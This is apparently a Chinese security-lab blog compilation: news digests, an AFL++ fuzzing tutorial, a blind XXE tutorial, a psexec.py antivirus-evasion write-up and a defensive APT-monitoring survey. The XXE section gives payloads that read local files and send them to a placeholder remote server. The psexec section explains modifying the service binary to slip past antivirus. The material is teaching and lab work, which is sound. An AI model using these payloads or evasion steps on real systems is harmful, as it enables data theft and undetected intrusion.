网络安全日报 2022年05月13日
免责声明:以下内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以下内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以下内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。
1、新的 Nerbian RAT 通过使用 COVID-19 钓鱼邮件活动传播
https://securityaffairs.co/wordpress/131221/cyber-crime/nerbian-rat-uses-covid-19-lure.html 2、大规模黑客活动破坏了数千个 WordPress 网站
https://securityaffairs.co/wordpress/131202/hacking/wordpress-websites-hacking-campaign.html 3、Red TIM Research (RTR) 披露 2 个影响 F5 Traffix SDC 的漏洞
https://securityaffairs.co/wordpress/131196/hacking/f5-traffix-sdc-flaws.html 4、英特尔内存漏洞对数百种产品构成风险
https://threatpost.com/intel-memory-bug-poses-risk-for-hundreds-of-products/179595/ 5、惠普修补了影响 200 多种型号计算机的 UEFI 漏洞
https://www.securityweek.com/hp-patches-uefi-vulnerabilities-affecting-over-200-computers 6、Malware Builder 利用 Discord Webhook
https://threatpost.com/malware-discord-webhooks/179605/ 7、英特尔修补了 BIOS、Boot Guard 中的高危漏洞
https://www.securityweek.com/intel-patches-high-severity-vulnerabilities-bios-boot-guard 8、数十万台柯尼卡打印机容易受到物理访问的黑客攻击
https://www.securityweek.com/konica-minolta-printers-vulnerable-hacking-physical-access 9、APT34使用新的Saitama后门针对约旦政府
https://blog.malwarebytes.com/threat-intelligence/2022/05/apt34-targets-jordan-government-using-new-saitama-backdoor/ 10、多家意大利机构的网站遭到Killnet黑客组织攻击
https://www.reuters.com/world/europe/pro-russian-hackers-target-italy-defence-ministry-senate-websites-ansa-news-2022-05-11/
Fuzzing101系列 Exercise 1 - Xpdf
序言
Fuzzing101系列包含针对10 个真实目标的10个练习,在练习中一步一步学习Fuzzing技术的知识。
模糊测试(Fuzzing/Fuzz)是一种自动化软件测试技术,它基于为程序提供随机或变异的输入值并监视它的异常和崩溃。
AFL、libFuzzer 和 HonggFuzz 是现实世界应用中最多的三个模糊器,这三个都是覆盖引导的进化模糊器(Coverage-guided evolutionary fuzzer)。其中
进化(evolutionary)是一种受进化算法启发的元启发式方法,它基本上包括通过使用选择标准(例如覆盖率)随时间推移初始子集(种子)的进化和变异。
覆盖引导(Coverage-guided)是指为了增加发现新崩溃的机会,覆盖引导的模糊器收集和比较不同输入之间的代码覆盖率数据,并选择那些导致新执行路径的输入。
在这个练习中,我们将fuzz Xpdf PDF 查看器。目的是在 XPDF 3.02 中找到 CVE-2019-13288 的崩溃/PoC。
CVE-2019-13288 是一个漏洞,它可能会通过精心制作的文件导致无限递归。由于程序中每个被调用的函数都会在栈上分配一个栈帧,如果一个函数被递归调用这么多次,就会导致栈内存耗尽和程序崩溃。因此,远程攻击者可以利用它进行 DoS 攻击。可以在以下链接中找到有关不受控制的递归漏洞的更多信息:https://cwe.mitre.org/data/definitions/674.html
你会学到什么
完成本练习后,你将了解使用 AFL 进行 fuzz 的基础,例如:
使用检测编译目标应用程序
运行模糊器(afl-fuzz)
使用调试器 (GDB) 对崩溃进行分类
环境
所有练习都在 Ubuntu 20.04.2 LTS 上进行了测试。 我强烈建议您使用相同的操作系统版本以避免不同的模糊测试结果,并在裸机硬件而不是虚拟机上运行 AFL,以获得最佳性能。
否则,您可以在此处找到 https://drive.google.com/file/d/1_m1x-SHcm7Muov2mlmbbt8nkrMYp0Q3K/view?usp=sharing 镜像。用户名为 fuzz / fuzz。
AFL 使用非确定性测试算法,因此两个模糊测试会话永远不会相同。我强烈建议设置一个固定的种子(-s 123),这样你的模糊测试结果将与本文的结果相似。
下载并构建目标
首先为要进行模糊测试的项目创建一个新目录:
cd $HOME
mkdir fuzzing_xpdf && cd fuzzing_xpdf/
为了完全准备好环境,需要安装一些额外的工具(make 和 gcc)
sudo apt install build-essential
下载 Xpdf 3.02:
wget https://dl.xpdfreader.com/old/xpdf-3.02.tar.gz
tar -xvzf xpdf-3.02.tar.gz
构建 Xpdf:
cd xpdf-3.02
sudo apt update && sudo apt install -y build-essential gcc
./configure --prefix="$HOME/fuzzing_xpdf/install/"
make
make install
下面对 Xpdf 进行测试,首先下载一些 PDF 示例:
cd $HOME/fuzzing_xpdf
mkdir pdf_examples && cd pdf_examples
wget https://github.com/mozilla/pdf.js-sample-files/raw/master/helloworld.pdf
wget http://www.africau.edu/images/default/sample.pdf
wget https://www.melbpc.org.au/wp-content/uploads/2017/10/small-example-pdf-file.pdf
使用以下命令测试 pdfinfo 二进制文件:
$HOME/fuzzing_xpdf/install/bin/pdfinfo -box -meta $HOME/fuzzing_xpdf/pdf_examples/helloworld.pdf
安装 AFL++
我们将使用最新版本的 AFL++ fuzzer(https://github.com/AFLplusplus/AFLplusplus)
安装依赖项
sudo apt-get update
sudo apt-get install -y build-essential python3-dev automake git flex bison libglib2.0-dev libpixman-1-dev python3-setuptools
sudo apt-get install -y lld-11 llvm-11 llvm-11-dev clang-11 || sudo apt-get install -y lld llvm llvm-dev clang
sudo apt-get install -y gcc-$(gcc --version|head -n1|sed 's/.* //'|sed 's/\..*//')-plugin-dev libstdc++-$(gcc --version|head -n1|sed 's/.* //'|sed 's/\..*//')-dev
构建 AFL++
cd $HOME
git clone https://github.com/AFLplusplus/AFLplusplus && cd AFLplusplus
export LLVM_CONFIG="llvm-config-11"
make distrib
sudo make install
执行afl-fuzz,查看是否安装成功
认识 AFL++
AFL 是一个覆盖引导的模糊器(coverage-guided fuzzer),这意味着它收集每个变异输入的覆盖信息,来发现新的执行路径和潜在的错误。当源代码可用时,AFL 可以使用插桩(instrumentation),在每个基本块(函数、循环等)的开头插入函数调用。
要为我们的目标程序启用检测,我们需要使用 AFL 的编译器编译源代码。
首先,我们要清理所有之前编译的目标文件和可执行文件:
rm -r $HOME/fuzzing_xpdf/install
cd $HOME/fuzzing_xpdf/xpdf-3.02/
make clean
现在我们将使用 afl-clang-fast 编译器构建 xpdf:
export LLVM_CONFIG="llvm-config-11"
CC=$HOME/AFLplusplus/afl-clang-fast CXX=$HOME/AFLplusplus/afl-clang-fast++ ./configure --prefix="$HOME/fuzzing_xpdf/install/"
make
make install
现在可以使用以下命令运行 fuzzer:
afl-fuzz -i $HOME/fuzzing_xpdf/pdf_examples/ -o $HOME/fuzzing_xpdf/out/ -s 123 -- $HOME/fuzzing_xpdf/install/bin/pdftotext @@ $HOME/fuzzing_xpdf/output
每个选项的简要说明
-i 表示输入示例的目录
-o 表示 AFL + + 将存储的变异文件的目录
-s 表示要使用的静态随机种子
@@ 是占位符目标的命令行,AFL 将用每个输入文件名替换
fuzzer将会对每个不同的输入文件运行 $HOME/fuzzing_xpdf/install/bin/pdftotext <input-file-name> $HOME/fuzzing_xpdf/output 命令
出现错误,根据提示,执行以下操作:
sudo su
echo core >/proc/sys/kernel/core_pattern
exit
成功运行,等待一段时间后,发现已经有了一个crash
可以在$HOME/fuzzing_xpdf/out/ 目录中找到这些崩溃文件。一旦发现第一次崩溃,就可以停止fuzzer,上图中已经出现了一个独特的崩溃。根据您的机器性能,最多可能需要一到两个小时才能发生崩溃。
为了完成这个练习,下面尝试使用指定的文件重现崩溃,调试崩溃发现问题,并且修复问题。
重现崩溃
在$HOME/fuzzing_xpdf/out/目录下找到 crash 对应的文件。文件名类似于id:000000,sig:11,src:000390,time:103613,execs:71732,op:havoc,rep:16
将此文件作为输入传递给 pdftotext
$HOME/fuzzing_xpdf/install/bin/pdftotext '/home/fuzz/fuzzing_xpdf/out/default/crashes/<your_filename>' $HOME/fuzzing_xpdf/output
它将导致段错误segmentation fault并导致程序崩溃。
调试
使用 gdb 找出程序因该输入而崩溃的原因。
首先使用调试信息重建 Xpdf 来获得符号堆栈跟踪:
rm -r $HOME/fuzzing_xpdf/install
cd $HOME/fuzzing_xpdf/xpdf-3.02/
make clean
CFLAGS="-g -O0" CXXFLAGS="-g -O0" ./configure --prefix="$HOME/fuzzing_xpdf/install/"
make
make install
然后使用GDB,输入run
gdb --args $HOME/fuzzing_xpdf/install/bin/pdftotext $HOME/fuzzing_xpdf/out/default/crashes/<your_filename> $HOME/fuzzing_xpdf/output
然后输入bt回溯查看栈帧
发现有许多次Parser::getObj的调用,它们似乎表示一个无限递归。如果你去 https://www.cvedetails.com/cve/cve-2019-13288/ ,你可以看到描述符合我们从 GDB 得到的回溯。
实验推荐
实验:Fuzz之AFL(蚁景网安实验室) https://www.yijinglab.com/expc.do?ec=ECID5ec5-3232-4f16-8c14-c98b75f8915d>>
网络安全日报 2022年05月12日
免责声明:以下内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以下内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以下内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。
1、Chrome 101 更新补丁修复高危漏洞
https://www.securityweek.com/chrome-101-update-patches-high-severity-vulnerabilities 2、多个SaaS 应用程序的短URL 可被用于网络钓鱼和社会工程
https://www.securityweek.com/saas-app-vanity-urls-can-be-spoofed-phishing-social-engineering 3、医疗保健技术提供商 Omnicell 遭勒索软件攻击
https://www.securityweek.com/healthcare-technology-provider-omnicell-discloses-ransomware-attack 4、研究人员警告 Nerbian RAT 针对意大利、西班牙和英国的实体
https://thehackernews.com/2022/05/researchers-warn-of-nerbian-rat.html 5、林肯学院遭勒索软件攻击而停课
https://threatpost.com/ransomware-deathblow-college/179574/ 6、FluBot Android 恶意软件以芬兰用户为目标
https://www.bleepingcomputer.com/news/security/flubot-android-malware-targets-finland-in-new-sms-campaigns/ 7、研究人员发现一种新的网络钓鱼即服务Frappo
https://securityaffairs.co/wordpress/131136/cyber-crime/frappo-phishing-as-a-service.html 8、新的恶意NPM包针对德国公司进行供应链攻击
https://jfrog.com/blog/npm-supply-chain-attack-targets-german-based-companies/ 9、2100万VPN用户的个人信息在Telegram上泄露
https://www.hackread.com/personal-details-supervpn-geckovpn-users-telegram-leaked/ 10、微软修复了所有Windows版本中的新NTLM零日漏洞
https://www.freebuf.com/articles/332788.html
浅析无回显的XXE(Blind XXE)
xml介绍
XML是一种非常流行的标记语言,在解析外部实体的过程中,XML解析器可以根据URL中指定的方案(协议)来查询各种网络协议和服务(DNS,FTP,HTTP,SMB等)。 外部实体对于在文档中创建动态引用非常有用,这样对引用资源所做的任何更改都会在文档中自动更新。 但是,在处理外部实体时,可以针对应用程序启动许多攻击。 这些攻击包括泄露本地系统文件,这些文件可能包含密码和私人用户数据等敏感数据,或利用各种方案的网络访问功能来操纵内部应用程序。 通过将这些攻击与其他实现缺陷相结合,这些攻击的范围可以扩展到客户端内存损坏,任意代码执行,甚至服务中断,具体取决于这些攻击的上下文。
内部实体
XML 文档有自己的一个格式规范,这个格式规范是由一个叫做 DTD(document type definition) 的东西控制的。
<?xml version="1.0"?>//这一行是 XML 文档定义
<!DOCTYPE message [
<!ELEMENT message (receiver ,sender ,header ,msg)>
<!ELEMENT receiver (#PCDATA)>
<!ELEMENT sender (#PCDATA)>
<!ELEMENT header (#PCDATA)>
<!ELEMENT msg (#PCDATA)>
上面这个 DTD 就定义了 XML 的根元素是 message,然后跟元素下面有一些子元素,那么 XML 到时候必须像下面这么写
<message>
<receiver>Myself</receiver>
<sender>Someone</sender>
<header>TheReminder</header>
<msg>This is an amazing book</msg>
</message>
其实除了在 DTD 中定义元素(其实就是对应 XML 中的标签)以外,我们还能在 DTD 中定义实体(对应XML 标签中的内容),毕竟 XML 中除了能标签以外,还需要有些内容是固定的
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe "test" >]>
这里 定义元素为 ANY 说明接受任何元素,但是定义了一个 xml 的实体(实体其实可以看成一个变量,到时候我们可以在 XML 中通过 & 符号进行引用),那么 XML 就可以写成这样
示例代码:
<creds>
<user>&xxe;</user>
<pass>mypass</pass>
</creds>
我们使用 &xxe 对 上面定义的 xxe 实体进行了引用,到时候输出的时候 &xxe 就会被 "test" 替换。
外部实体
示例代码:
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///c:/test.dtd" >]>
<creds>
<user>&xxe;</user>
<pass>mypass</pass>
</creds>
当然,还有一种引用方式是使用 引用公用 DTD 的方法,语法如下:
<!DOCTYPE 根元素名称 PUBLIC “DTD标识名” “公用DTD的URI”>
我们上面已经将实体分成了两个派别(内部实体和外部外部),但是实际上从另一个角度看,实体也可以分成两个派别(通用实体和参数实体)。
通用实体
用 &实体名;在DTD 中定义,在 XML 文档中引用
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE updateProfile [<!ENTITY file SYSTEM "file:///c:/windows/win.ini"> ]>
<updateProfile>
<firstname>Joe</firstname>
<lastname>&file;</lastname>
...
</updateProfile>
参数实体
(1)使用 % 实体名(这里面空格不能少) 在 DTD 中定义,并且只能在 DTD 中使用 %实体名; 引用(2)只有在 DTD 文件中,参数实体的声明才能引用其他实体(3)和通用实体一样,参数实体也可以外部引用
示例代码:
<!ENTITY % an-element "<!ELEMENT mytag (subtag)>">
<!ENTITY % remote-dtd SYSTEM "http://somewhere.example.org/remote.dtd">
%an-element; %remote-dtd;
抛转:参数实体在我们 Blind XXE 中起到了至关重要的作用
有回显XXE
这个实验的攻击场景模拟的是在服务能接收并解析 XML 格式的输入并且有回显的时候,我们就能输入我们自定义的 XML 代码,通过引用外部实体的方法,引用服务器上面的文件。
本地服务器上放上解析 XML 的 php 代码:
xml.php
<?php
libxml_disable_entity_loader (false);
$xmlfile = file_get_contents('php://input');
$dom = new DOMDocument();
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
$creds = simplexml_import_dom($dom);
echo $creds;
?>
其中:LIBXML_NOENT: 将 XML 中的实体引用 替换 成对应的值LIBXML_DTDLOAD: 加载 DOCTYPE 中的 DTD 文件
触发xxe
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe "Hello world!" >]>
读取本地服务器C盘的flag文件
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE creds [
<!ENTITY goodies SYSTEM "file:///c:/flag"> ]>
<creds>&goodies;</creds>
引用外部实体读取文件
引用方式是使用 引用公用 DTD 的方法读取
无回显XXE
有回显的情况可以直接在页面中看到Payload的执行结果或现象,无回显的情况又称为blind xxe,可以使用外带数据通道提取数据,先使用php://filter获取目标文件的内容,然后将内容以http请求发送到接受数据的服务器。
xml.php
<?php
libxml_disable_entity_loader (false);
$xmlfile = file_get_contents('php://input');
$dom = new DOMDocument();
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
?>
test.dtd
<!ENTITY % file SYSTEM
"php://filter/read=convert.base64-encode/resource=file:///c:/xxx.txt">
<!ENTITY % int "<!ENTITY % send SYSTEM 'http://xxx?p=file;'>">
payload
<!DOCTYPE convert [
<!ENTITY % remote SYSTEM "http://ip/test.dtd">
%remote;%int;%send;
]>
我们从 payload 中能看到 连续调用了三个参数实体 %remote;%int;%send;,这就是我们的利用顺序,%remote 先调用,调用后请求远程服务器上的 test.dtd ,有点类似于将 test.dtd 包含进来,然后 %int 调用 test.dtd 中的 %file, %file 就会去获取服务器上面的敏感文件,然后将 %file 的结果填入到 %send 以后(因为实体的值中不能有 %, 所以将其转成html实体编码 %),我们再调用 %send; 把我们的读取到的数据发送到我们的远程 vps 上,这样就实现了外带数据的效果,完美的解决了 XXE 无回显的问题。
这样,我们就读到了flag文件的内容。
参考文章
https://xz.aliyun.com/t/3357#toc-10 一篇文章带你深入理解漏洞之 XXE 漏洞
实验推荐
实验:第十四周 | blind xxe(蚁景网安实验室) https://www.yijinglab.com/expc.do?ec=ECID9117-d620-481d-91f8-344e0ac69dea>>
网络安全日报 2022年05月11日
免责声明:以下内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以下内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以下内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。
1、周二补丁日:微软警告新的零日漏洞被利用
https://www.securityweek.com/patch-tuesday-microsoft-warns-new-zero-day-being-exploited 2、新的恶意软件样本表明 REvil 勒索软件卷土重来
https://www.securityweek.com/new-malware-samples-indicate-return-revil-ransomware 3、Adobe发布安全补丁修复产品中18个严重漏洞
https://www.securityweek.com/adobe-warns-critical-security-flaws-enterprise-products 4、微软修复了 Azure Synapse 和Data Factory中的 RCE 漏洞
https://securityaffairs.co/wordpress/131159/hacking/azure-synapse-rce.html 5、F5 BIG-IP 中的 CVE-2022-1388 RCE漏洞正在被大规模利用
https://securityaffairs.co/wordpress/131132/hacking/big-ip-cve-2022-1388-exploitation.html 6、美国伊利诺伊州林肯学院遭勒索软件攻击被迫关闭
https://www.nbcnews.com/tech/security/ransomware-attack-covid-combine-shutter-illinois-college-rcna24905 7、感染Joker木马的应用程序通过谷歌Play商店传播
https://thehackernews.com/2022/05/another-set-of-joker-trojan-laced.html 8、行车记录全暴露,高合汽车陷隐私泄露风波
https://www.secrss.com/articles/42165 9、马斯克收购 Twitter 可能面临美国的国家安全调查
https://arstechnica.com/tech-policy/2022/05/musks-foreign-investors-may-trigger-national-security-review-of-twitter-deal/ 10、法拉利子域被劫持以推送伪造的法拉利 NFT收藏
https://www.bleepingcomputer.com/news/security/ferrari-subdomain-hijacked-to-push-fake-ferrari-nft-collection/
网络安全日报 2022年05月10日
免责声明:以下内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以下内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以下内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。
1、DarkCrystal RAT 远控木马在黑客论坛便宜出售
https://thehackernews.com/2022/05/experts-sound-alarm-on-dcrat-backdoor.html 2、RubyGems 修复了关键的 Gem 接管漏洞
https://www.securityweek.com/rubygems-fixes-critical-gem-takeover-vulnerability 3、研究人员针对F5 BIG-IP 最新RCE漏洞开发了Exploit
https://securityaffairs.co/wordpress/131102/hacking/f5-big-ip-exploit-code.html 4、哥斯达黎加遭勒索软件攻击后全国进入紧急状态
https://www.bleepingcomputer.com/news/security/costa-rica-declares-national-emergency-after-conti-ransomware-attacks/ 5、匿名者附属组织NB65入侵俄罗斯支付服务Qiwi
https://www.hackread.com/anonymous-nb65-hacki-russia-payment-processor-qiwi/ 6、QNAP修复了关键的QVR远程命令执行漏洞
http://www.hackdig.com/05/hack-655230.htm 7、证监会发布《证券期货业网络安全管理办法(征求意见稿)》
https://www.freebuf.com/news/332207.html 8、DeFi 平台 MM.Finance 被盗超过 200 万美元加密货币
https://therecord.media/more-than-2-million-stolen-from-defi-platform-mm-finance/ 9、Emotet 正在测试新的攻击链
https://cyware.com/news/emotet-is-testing-new-attack-chain-25595957 10、新NetDooka恶意软件通过有毒的搜索结果传播
https://www.bleepingcomputer.com/news/security/new-netdooka-malware-spreads-via-poisoned-search-results/
psexec.py规避杀软
前言
在内网渗透中,当获取到一个账号密码后,经常会使用impacket套件中的psexec.py进行远程连接并执行命令,但是因为用的人多了,杀软也对psexec.py特征进行了拦截,也就导致了如果使用默认的psexec.py进行执行命令时会失败。
原理分析
psexec.py的原理是通过smb上传一个服务程序到c:\windows(ADMIN$)目录,服务程序通过管道进行后续的命令执行的输入输出。
服务程序来自于remcomsvc.py:
服务安装通过serviceinstall.py进行:
服务和服务文件的名字默认是随机的:
直接psexec.py不带任何参数,上传过去的服务文件名就长这样:
因此为了防止奇奇怪怪的名字很容易被机器负责人发现,psexec.py也是提供了相应的参数用来自定义:
这里要提一嘴的是,因为UAC的缘故,如果RID不是500,就算账号是管理员也是没权限上传文件到ADMIN$目录,程序报错如下:
改造
默认情况下,使用psexec.py会被拦截:
根据上面的杀软截图能看到是服务程序被拦截,因此我们需要对服务程序进行修改来尝试绕过杀软,源码在这:
https://github.com/kavika13/RemCom
这里可以尝试修改print的输出:
或者修改管道名称:
然后重新生成RemComSvc,然后转成hex:
import binascii
filename = 'RemComSvc.exe'
with open(filename, 'rb') as f:
content = f.read()
print(binascii.hexlify(content))
最终可以规避杀软进行命令执行:
总结
本文介绍了通过修改服务程序来绕过杀软,让psexec.py再次大放异彩。
网络安全日报 2022年05月09日
免责声明:以下内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以下内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以下内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。
1、Conti 勒索软件声称入侵了秘鲁 MOF 情报总局 (DIGIMIN)
https://securityaffairs.co/wordpress/131093/cyber-crime/conti-ransomware-peru-direccion-general-de-inteligencia.html2、美国农业机械制造商AGCO遭遇勒索软件攻击
https://securityaffairs.co/wordpress/131058/cyber-crime/agco-suffered-ransomware-attack.html3、研究人员发现首个将 shellcode 隐藏在 Windows 事件中的恶意活动
https://securityaffairs.co/wordpress/131025/hacking/windows-event-logs-malware-campaign.html4、美国悬赏 1500 万美元获取有关 Conti 勒索团伙的信息
https://securityaffairs.co/wordpress/131050/cyber-crime/us-dos-reward-15m-info-conti-ransomware.html5、攻击者劫持法拉利子域以推送虚假的NFT作品
https://www.bleepingcomputer.com/news/security/ferrari-subdomain-hijacked-to-push-fake-ferrari-nft-collection/6、网络钓鱼导致美国国防部损失2300万美元
https://www.bleepingcomputer.com/news/security/us-dod-tricked-into-paying-235-million-to-phishing-actor/7、dotCMS内容管理系统中存在严重的RCE漏洞
https://thehackernews.com/2022/05/critical-rce-bug-reported-in-dotcms.html8、宜家加拿大公司发现数据泄露影响9.5万名客户
https://www.infosecurity-magazine.com/news/data-breach-ikea-canada/9、趋势科技防病毒软件误将Edge更新标记为恶意软件
https://www.bleepingcomputer.com/news/security/trend-micro-antivirus-modified-windows-registry-by-mistake-how-to-fix/10、Xbox在全球范围内服务中断导致用户无法玩游戏
https://www.bleepingcomputer.com/news/technology/xbox-is-down-worldwide-with-users-unable-to-play-games/
从防御者视角来看APT攻击
前言
APT防御的重要性毋庸讳言,为了帮助各位师傅在防御方面建立一个总体认识,本文会将APT防御方法分为三类,分别是:监控、检测和缓解技术,并分别进行梳理,介绍分析代表性技术。这一篇分析现有的监控技术。
APT
这里不谈APT概念,就是分享两张最近看到的觉得描述APT非常契合的图。
如果我们把APT分成6个攻击阶段的话,一种经典的划分方式如下
或者也可以画成金字塔
这里我们假设攻击目标位于金字塔的顶端,侧面表示攻击进化的环境(如物理平面、用户平面、网络平面、应用平面等)。金字塔平面依赖于每个组织的细节,并根据记录事件的环境定义。假设APT组织能够全面了解目标的所有设施以确定达到目标G的可行平面。那么为了达到目标G,攻击者可以探索漏洞并通过从一个或多个平面“爬行”接近目标。因此,最终检测到的APT就像一棵跨越多个平面的攻击树。
这么说不形象,我们可以上面这个金字塔展开
这个图就很直观了,图中小点代表平面中记录的事件,而彩色连接的事件代表相关事件,其表示可能的攻击。path1表示物理平面的相关事件,path2和path3表示涉及多个平面的相关事件。
监控
硬盘监控
这主要针对落地文件而言。
每个终端都需要通过反病毒、防火墙或必要的内容过滤来监控任何恶意行为。对系统上运行的软件进行必要的修补程序,可以消除已知的漏洞,从而减少攻击者的入侵点,否则这些漏洞可能会将恶意软件传播到网络中容易受到攻击的地方。这方面的技术其实比较成熟了,而且并不适用于APT攻击,这里就不展开说明了。
内存监控
现在更加流行的方法是内存监控,这主要针对现在流行无文件、不落地攻击手段而言的,这种攻击手段一般通过使用一个已经在内存中运行的进行来执行恶意功能,由于没有单独的进程在后台运行,所以不会留下任何轨迹。比如卡巴斯基发现的Duqu,就是运行在一个已经运行的进程的内存中。
这个领域有很多优秀的工作,这里简单介绍几个。
1、通过分析Stuxnet、Duqu、Flame和Red October使用恶意软件进行APT攻击的活动进行检测,其特点比较如下。
他们介绍了APT攻击者所使用的规避技术,如rootkit功能、负载变化的端点扫描、网络流量加密和混淆、隐写术、内存中恶意软件的执行和假数字证书等。针对这些攻击技术,作者建议通过补丁管理、强大的网络访问控制和监控、严格的互联网政策、协议感知的安全解决方案、监控DNS查询、监控异常域的访问、监控网络连接、蜜罐和蜜网,以及标准的基于主机的入侵防御系统作为APT的防御对策。
2、提取出了不同类型的恶意软件的特征,并提出了一个通用的解决方案用于检测不同类型的恶意软件。他们收集恶意软件和良性样本作为训练数据,并从中提取污点图(taint graph)。然后污点图转换成一个特征向量,在这个特征向量上应用标准分类算法来训练模型。这个模型训练完成后被用来识别系统上的恶意行为。他们使用了不同恶意软件(键盘记录、密码窃取、后门等)的共同特征。这些恶意软件通常表现出的特征是异常的信息访问和处理行为。例如,键盘记录和密码窃取会拦截击键输入。在比如说,为了不被发现,后门要么使用不常见的协议(如ICMP),要么创建一个原始套接字,要么拦截网络堆栈来与远程攻击者通信。基于ICMP的
下图是一个污点图的例子,反映了Windows用户身份验证的过程。当一个密码窃取器在后台运行时,它捕捉到密码并将其保存到它的日志文件“c: ginallog .log”中。
再来看一个用污点图表示Google Desktop处理传入的web页面的例子
该方案检测结果如下
3、提出了利用硬件辅助进行恶意软件检测的方案。作者发现,与运行的正常软件相比,受感染的应用程序运行时会修改控制流/数据结构,而这种行为会反映在它的内存访问模式中。所以可以通过处理器内监视内存访问来检测,其内存访问会查看虚拟地址以获得更一致的签名。他们使用系统调用、函数调用和完整的程序运行来检测受感染程序的恶意行为。研究表明,不论是对用户级还是和内核级威胁都是可用的,并且针对内核级rootkit实现高精度的检测。其设计的框架如下所示
上半部分是训练,下半部分是运行检测。当使用system call检测rootkit时,结果如下
可以看到,准确率非常的高,而且误报率很低。
4、通过虚拟内存消耗来识别应用程序进程的异常行为,实现对恶意软件的检测。因为作者认为相比于网络操作或CPU利用率,内存使用的波动性较小,不易受到影响,而且使用的是虚拟内存而不是物理内存,因为后者不包含交换到硬盘的内存量。首先使用进程和psutil收集目标机器的内存指纹。然后通过机器学习算法,基于指纹、阈值和阈值因子为每个应用计算一个模型来检测异常行为。下面用图的方式可以帮助大家更好的理解其方案。
下图是三个进程的虚拟内存的时间序列
从时间序列中捕获的滑动窗口如下所示
当窗口大小为25时,6个进程的特征分布,图中不同颜色代表不同应用
下图展示了训练阶段的前三个步骤,可视化阈值。初始阈值为零(左);对于第二个数据点,它扩展到a(中间);在第三个点上,它扩展到b(右)
流量监控
APT攻击最关键的部分就是C&C通信行为,而且通信并不只发生一次,通常是在系统第一次被攻破后为了数据传输而反复进行。在终端层面监视任何带有新目的IP的网络数据包、异常payload的数据包以及发送到同一IP的大量数据包等特征有助于识别来自终端的任何可疑行为。
从流量中可以看到很多关键信息。
先看最简单的,从http请求中就可以看出GhosNet发往C2服务器的请求
这是php版本的
这是asp版本的
还可以从流量中看到challenge信息,如下所示就是RSA Poisonlvy样本的256字节的challenge请求
这在一次成功的TCP握手之后,由poisivy生成的网络流量,它从256字节的看似随机的数据开始。这些字节组成一个challenge请求,以查看“客户端”(即RAT控制端)是否配置了嵌入在“服务器”(即受害者)中的密码。
同样一个样本,还能看到keep-alive请求
接下来我们看看这方面一些经典的工作。
5、提出的方案可以从数千个终端中检测出少数表现出可疑活动的主机。他们通过观察多个主机间APT的关键阶段,并将每个主机的分析结果与它们的过去以及所观察到的网络中的其他主机进行比较,从而生成一个排名前k个的可疑主机列表。由于他们的方案不需要检测载荷,所以针对加密信道进行检测也是可行的。其方案的示意图如下
6、重点关注跟踪各种网络对象(如主机、主机组和网络),并确定它们是否存在威胁。他们将网络流量活动从网络流量采集到威胁分析分为五层,从多个不同的网络传感器(如网络流、NIDS、蜜罐)中收集数据,然后在多个时间段提取和聚合特征,以创建一个样本空间。然后使用有监督模型进行识别。分层示意如下所示,大多数技术都是在第一层运行,处理来自传感器的原始数据和事件。而作者的方法首先转换数据,即第2层,然后在第3层及以上应用分类模型
这篇工作的可视化做得很棒,如下所示
有三种不同的可视化显示了UDP行为(右上),TCP行为(左上)和所有协议(底部)。每个点代表一个行为特征空间中的一个主机,这些图显示了主机从“源到sink行为”,接收数据的主机在左边,向系统发送数据的主机在右边。
还对训练完成的SVM进行了可视化如下所示
beacon通信在超平面的右下角,表明其检测效果很不错。
7、是安全产商TrendMicro发布的APT报告,里面分析了不同的APT活动,如Taidoor、IXESHE、Enfal和Sykipot,这些恶意软件使用已知的协议(如HTTP)与C&C服务器建立通信,通常通过三个端口80、443、8080配置。攻击者通常使用这些端口,因为他们知道通常只有这些端口在防火墙级别是开放的。但是,这里的关键在于,攻击者可能会使用这些端口来传递不匹配的流量类型,例如在80端口发送任何非http流量或在443端口发送任何非https流量。可以通过检测这一特点实现预警。此外,作者认为,监视网络流量的时间和大小是另一个需要考虑的方面,因为恶意软件通常会在给定的时间间隔
8、利用基于流量的分析来检测APT,而不是基于网络,基于流量的分析将网络流量聚合在一起,从而减少了需要分析的数据量,之后对APT通信进行统计建模,成功设计出确定性的检测特征。其设计的框架如下所示
9、则将APT攻击与内部威胁的结合起来进行分析,将其表述为一个双层博弈问题,并进一步确定了博弈双方(防御者与APT攻击者)的最佳对策,并证明存在纳什均衡。防御者、APT攻击者和内部威胁人员的相互作用表示如下
文中给了很多数学公式推导,这里不再重复了,直接看结果吧
图3表示攻击者和防御者在每个时间点的动作。我们可以看到攻击者的稳定状态下的动作,即α是0.2,而防御者的稳定状态下的动作,即β是1。图4为系统状态向稳定状态的演化过程。稳定状态为0.1667。
表明最后确实达到了纳什均衡。
代码监控
